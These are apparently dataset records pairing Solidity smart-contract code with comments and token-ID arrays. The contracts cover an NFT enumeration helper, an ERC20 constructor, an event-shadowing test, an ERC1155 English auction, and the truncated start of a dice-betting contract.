/*********************************************
*********************************************
* P r i v a t e
* m e t h o d s
*
*/
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from_,
address to_,
uint256 tokenId_
) private {
if (from_ == address(0)) {
_allTokensIndex[tokenId_] = _allTokens.length;
_allTokens.push(tokenId_);
} else if (from_ != to_) {
_removeTokenFromOwnerEnumeration(from_, tokenId_);
}
if (to_ == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId_);
} else if (to_ != from_) {
uint256 length = balanceOf(to_);
_ownedTokens[to_][length] = tokenId_;
_ownedTokensIndex[tokenId_] = length;
}
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from_ address representing the previous owner of the given token ID
* @param tokenId_ uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from_, uint256 tokenId_)
private
{
uint256 lastTokenIndex = balanceOf(from_) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId_];
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from_][lastTokenIndex];
_ownedTokens[from_][tokenIndex] = lastTokenId;
_ownedTokensIndex[lastTokenId] = tokenIndex;
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId_];
delete _ownedTokens[from_][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId_ uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId_) private {
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId_];
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId;
_allTokensIndex[lastTokenId] = tokenIndex;
delete _allTokensIndex[tokenId_];
_allTokens.pop();
}
function _exists(uint256 tokenId_) private view returns (bool) {
return _owners[tokenId_] != address(0);
}
function _isApprovedOrOwner(address spender_, uint256 tokenId_)
private
view
returns (bool)
{
require(_exists(tokenId_), "Operator query for nonexistent token");
address tokenOwner = ownerOf(tokenId_);
return (tokenOwner == spender_ ||
getApproved(tokenId_) == spender_ ||
isApprovedForAll(tokenOwner, spender_));
}
function _transfer(
address from_,
address to_,
uint256 tokenId_
) private {
_nonZeroAddress(to_);
require(ownerOf(tokenId_) == from_, "Not owner");
_beforeTokenTransfer(from_, to_, tokenId_);
_approve(address(0), tokenId_);
_balances[from_] -= 1;
_balances[to_] += 1;
_owners[tokenId_] = to_;
emit Transfer(from_, to_, tokenId_);
}
function _approve(address to_, uint256 tokenId_) private {
_tokenApprovals[tokenId_] = to_;
emit Approval(ownerOf(tokenId_), to_, tokenId_);
}
function _mint(
uint256 collectionId_,
uint256 price_,
address receiver_,
uint16 amount_,
uint16 cap_,
uint32 maxSupply_,
uint32 minted_
) private {
if (cap_ > 0) {
require(amount_ + minted_ <= cap_, "Invalid mint amount");
}
require(
amount_ + totalSupplyByCollectionId(collectionId_) <= maxSupply_,
"Supply overflow"
);
unchecked {
require(msg.value == amount_ * price_, "Invalid ETH amount");
_collections[collectionId_].balance += amount_ * price_;
}
for (uint256 i = 0; i < amount_; i++) {
unchecked {
_collections[collectionId_].tokenId += 1;
}
require(
!_exists(_collections[collectionId_].tokenId),
"Token already minted"
);
_beforeTokenTransfer(
address(0),
receiver_,
_collections[collectionId_].tokenId
);
_tokenIdToCollectionId[_collections[collectionId_].tokenId] = collectionId_;
unchecked {
_balances[receiver_] += 1;
}
_owners[_collections[collectionId_].tokenId] = receiver_;
emit Mint(
collectionId_,
receiver_,
_collections[collectionId_].tokenId
);
}
}
function _checkOnERC721Received(
address from_,
address to_,
uint256 tokenId_,
bytes memory data_
) private returns (bool) {
if (Address.isContract(to_)) {
try
IERC721Receiver(to_).onERC721Received(
_msgSender(),
from_,
tokenId_,
data_
)
returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("Non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _nonZeroAddress(address addr_) private pure {
require(addr_ != address(0), "Invalid address");
}
function _isCollectionAuthorized(uint256 collectionId_, address addr_)
private
view
returns (bool)
{
return
owner() == addr_ ||
_collections[collectionId_].artistAddr == addr_ ||
_collections[collectionId_].authorized[addr_];
}
}
|
Mapping from artist address to boolean flag indicating whether this address is trusted
|
mapping(address => bool) private _knownArtists;
| 10,717,748 |
[
1,
3233,
628,
15469,
1758,
358,
1250,
2982,
11193,
2856,
333,
1758,
353,
13179,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2874,
12,
2867,
516,
1426,
13,
3238,
389,
2994,
4411,
1486,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xbb2B5d36A90eD079d2EEA0D7156048E91E58095c/sources/contract-01c194a24a.sol
|
* @dev Sets the value of the `decimals`. This value is immutable, it can only be set once during construction./
|
constructor () ERC20('Axie DAO', 'AXSDAO') {
_mint(_msgSender(), _totalSupply);
}
| 4,885,099 |
[
1,
2785,
326,
460,
434,
326,
1375,
31734,
8338,
1220,
460,
353,
11732,
16,
518,
848,
1338,
506,
444,
3647,
4982,
16171,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
1832,
4232,
39,
3462,
2668,
14408,
1385,
463,
20463,
2187,
296,
2501,
55,
18485,
6134,
288,
203,
3639,
389,
81,
474,
24899,
3576,
12021,
9334,
389,
4963,
3088,
1283,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
// This contract models event signature shadowing when
// one contract calls another. Events `similar` and `identical` have
// the same signature but their arguments are processed differently
// because of indexing.
contract Child {
// Three indexed args
event Similar(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
// Two indexed args
event Identical(
address indexed childA,
address indexed childB
);
function fireIdentical() public {
emit Identical(address(0), address(0));
}
function fireSimilar() public {
emit Similar(address(0), address(0), 1);
}
}
contract Parent {
// Two (vs 3) indexed args, different names
event Similar(
address indexed owner,
address indexed spender,
uint256 value
);
// Two indexed args, named parent
event Identical(
address indexed parentA,
address indexed parentB
);
function fireChildIdenticalEvent(address a) public {
Child(a).fireIdentical();
}
function fireChildSimilarEvent(address a) public {
Child(a).fireSimilar();
}
}
|
Three indexed args Two indexed args
|
contract Child {
event Similar(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event Identical(
address indexed childA,
address indexed childB
);
function fireIdentical() public {
emit Identical(address(0), address(0));
}
function fireSimilar() public {
emit Similar(address(0), address(0), 1);
}
}
| 7,264,887 |
[
1,
28019,
8808,
833,
16896,
8808,
833,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
7451,
225,
288,
203,
565,
871,
22967,
12,
203,
3639,
1758,
8808,
389,
8443,
16,
203,
3639,
1758,
8808,
389,
25990,
16,
203,
3639,
2254,
5034,
8808,
389,
2316,
548,
203,
565,
11272,
203,
203,
565,
871,
13128,
1706,
12,
203,
1377,
1758,
8808,
1151,
37,
16,
203,
1377,
1758,
8808,
1151,
38,
203,
565,
11272,
203,
203,
203,
565,
445,
4452,
6106,
1706,
1435,
1071,
288,
203,
540,
3626,
13128,
1706,
12,
2867,
12,
20,
3631,
1758,
12,
20,
10019,
203,
565,
289,
203,
203,
565,
445,
4452,
16891,
1435,
1071,
288,
203,
540,
3626,
22967,
12,
2867,
12,
20,
3631,
1758,
12,
20,
3631,
404,
1769,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.7;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC1155 {
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
}
contract EnglishAuctionReservePrice {
using SafeMath for uint256;
using SafeMath for uint8;
// System settings
uint8 public percentageIncreasePerBid;
uint256 public stakingRewardPercentageBasisPoints;
uint256 public tokenId;
address public tokenAddress;
bool public ended = false;
address public controller;
address public deployer;
// Current winning bid
uint256 public lastBid;
address payable public winning;
uint256 public length;
uint256 public minimumStartTime;
uint256 public startTime;
uint256 public endTime;
address public hausAddress;
address public stakingSwapContract;
event Bid(address who, uint256 amount);
event Won(address who, uint256 amount);
constructor(
uint256 _tokenId,
address _tokenAddress,
uint256 _reservePriceWei,
uint256 _minimumStartTime,
uint256 _stakingRewardPercentageBasisPoints,
uint8 _percentageIncreasePerBid,
address _hausAddress,
address _stakingSwapContract
) public {
tokenAddress = address(_tokenAddress);
tokenId = _tokenId;
lastBid = _reservePriceWei;
percentageIncreasePerBid = _percentageIncreasePerBid;
stakingSwapContract = _stakingSwapContract;
hausAddress = _hausAddress;
controller = msg.sender;
minimumStartTime = _minimumStartTime;
deployer = msg.sender;
stakingRewardPercentageBasisPoints = _stakingRewardPercentageBasisPoints;
}
function bid() public payable {
require(msg.sender == tx.origin, "no contracts");
require(block.timestamp >= minimumStartTime, "Bidding has not opened");
// Give back the last bidders money
if (winning != address(0)) {
require(block.timestamp >= startTime, "Auction not started");
require(block.timestamp < endTime, "Auction ended");
uint8 base = 100;
uint256 multiplier = base.add(percentageIncreasePerBid);
require(msg.value >= lastBid.mul(multiplier).div(100), "Bid too small"); // % increase
winning.transfer(lastBid);
} else {
require(msg.value >= lastBid, "Bid too small"); // no increase required for reserve price to be met
// First bid, reserve met, start auction
startTime = block.timestamp;
length = 24 hours;
endTime = startTime + length;
}
if (endTime - now < 15 minutes) {
endTime = now + 15 minutes;
}
lastBid = msg.value;
winning = msg.sender;
emit Bid(msg.sender, msg.value);
}
function end() public {
require(!ended, "end already called");
require(winning != address(0), "no bids");
require(!live(), "Auction live");
// transfer erc1155 to winner
IERC1155(tokenAddress).safeTransferFrom(address(this), winning, tokenId, 1, new bytes(0x0)); // Will transfer IERC1155 from current owner to new owner
uint256 stakingReward = address(this).balance.mul(stakingRewardPercentageBasisPoints).div(10000);
(bool stakingRewardSuccess, ) = stakingSwapContract.call{value: stakingReward}("");
require(stakingRewardSuccess, "Staking reward transfer failed.");
(bool successMultisig, ) = hausAddress.call{value: address(this).balance}("");
require(successMultisig, "Multisig transfer failed.");
ended = true;
emit Won(winning, lastBid);
}
function pull() public {
require(msg.sender == controller, "must be controller");
require(!ended, "end already called");
require(winning == address(0), "There were bids");
require(!live(), "Auction live");
// transfer erc1155 to controller
IERC1155(tokenAddress).safeTransferFrom(address(this), controller, tokenId, 1, new bytes(0x0));
ended = true;
}
function live() public view returns(bool) {
return block.timestamp < endTime;
}
function containsAuctionNFT() public view returns(bool) {
return IERC1155(tokenAddress).balanceOf(address(this), tokenId) > 0;
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure returns(bytes4) {
return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
}
}
|
transfer erc1155 to controller
|
function pull() public {
require(msg.sender == controller, "must be controller");
require(!ended, "end already called");
require(winning == address(0), "There were bids");
require(!live(), "Auction live");
IERC1155(tokenAddress).safeTransferFrom(address(this), controller, tokenId, 1, new bytes(0x0));
ended = true;
}
| 2,159,050 |
[
1,
13866,
6445,
71,
2499,
2539,
358,
2596,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
6892,
1435,
1071,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
2596,
16,
315,
11926,
506,
2596,
8863,
203,
3639,
2583,
12,
5,
3934,
16,
315,
409,
1818,
2566,
8863,
203,
3639,
2583,
12,
8082,
2093,
422,
1758,
12,
20,
3631,
315,
9828,
4591,
30534,
8863,
203,
3639,
2583,
12,
5,
16472,
9334,
315,
37,
4062,
8429,
8863,
203,
3639,
467,
654,
39,
2499,
2539,
12,
2316,
1887,
2934,
4626,
5912,
1265,
12,
2867,
12,
2211,
3631,
2596,
16,
1147,
548,
16,
404,
16,
394,
1731,
12,
20,
92,
20,
10019,
203,
3639,
16926,
273,
638,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.17;
contract BitrngDice {
// Ownership.
address public owner;
address private nextOwner;
// The address corresponding to a private key used to sign placeBet commits.
address public secretSigner;
// Minimum and maximum bets.
uint constant MIN_AMOUNT = 0.01 ether;
uint constant MAX_AMOUNT_BIG_SMALL = 1 ether;
uint constant MAX_AMOUNT_SAME = 0.05 ether;
uint constant MAX_AMOUNT_NUMBER = 0.1 ether;
// EVM `BLOCKHASH` opcode can query no further than 256 blocks into the
// past. Given that settleBet uses block hash of placeBet as one of
// complementary entropy sources, we cannot process bets older than this
// threshold. On rare occasions dice2.win croupier may fail to invoke
// settleBet in this timespan due to technical issues or extreme Ethereum
// congestion; such bets can be refunded via invoking refundBet.
uint constant BET_EXPIRATION_BLOCKS = 250;
// Max bets in one game.
uint8 constant MAX_BET = 5;
// Max bet types.
uint8 constant BET_MASK_COUNT = 22;
// Bet flags.
uint24 constant BET_BIG = uint24(1 << 21);
uint24 constant BET_SMALL = uint24(1 << 20);
uint24 constant BET_SAME_1 = uint24(1 << 19);
uint24 constant BET_SAME_2 = uint24(1 << 18);
uint24 constant BET_SAME_3 = uint24(1 << 17);
uint24 constant BET_SAME_4 = uint24(1 << 16);
uint24 constant BET_SAME_5 = uint24(1 << 15);
uint24 constant BET_SAME_6 = uint24(1 << 14);
uint24 constant BET_4 = uint24(1 << 13);
uint24 constant BET_5 = uint24(1 << 12);
uint24 constant BET_6 = uint24(1 << 11);
uint24 constant BET_7 = uint24(1 << 10);
uint24 constant BET_8 = uint24(1 << 9);
uint24 constant BET_9 = uint24(1 << 8);
uint24 constant BET_10 = uint24(1 << 7);
uint24 constant BET_11 = uint24(1 << 6);
uint24 constant BET_12 = uint24(1 << 5);
uint24 constant BET_13 = uint24(1 << 4);
uint24 constant BET_14 = uint24(1 << 3);
uint24 constant BET_15 = uint24(1 << 2);
uint24 constant BET_16 = uint24(1 << 1);
uint24 constant BET_17 = uint24(1);
// Funds that are locked in potentially winning bets. Prevents contract from
// committing to bets it cannot pay out.
uint public lockedInBets;
// Set false to disable betting.
bool public enabled = true;
// Some deliberately invalid address to initialize the secret signer with.
// Forces maintainers to invoke setSecretSigner before processing any bets.
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
// The game struct, only supports 5 bet.
struct Game{
address gambler;
uint40 placeBlockNumber; // block number contains place bet txn
uint bet1Amount;
uint bet2Amount;
uint bet3Amount;
uint bet4Amount;
uint bet5Amount;
uint24 mask; // bet flags ored together
}
// Mapping from commits to all currently active & processed bets.
mapping (uint => Game) games;
// Mapping for bet type to odds
mapping (uint24 => uint8) odds;
// Mapping for bet number results;
mapping (uint24 => uint8) betNumberResults;
// Mapdding for bet same number results
mapping (uint24 => uint8) betSameResults;
// Events that are issued to make statistic recovery easier.
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
// init odds
odds[BET_SMALL] = 2;
odds[BET_BIG] = 2;
odds[BET_SAME_1] = 150;
odds[BET_SAME_2] = 150;
odds[BET_SAME_3] = 150;
odds[BET_SAME_4] = 150;
odds[BET_SAME_5] = 150;
odds[BET_SAME_6] = 150;
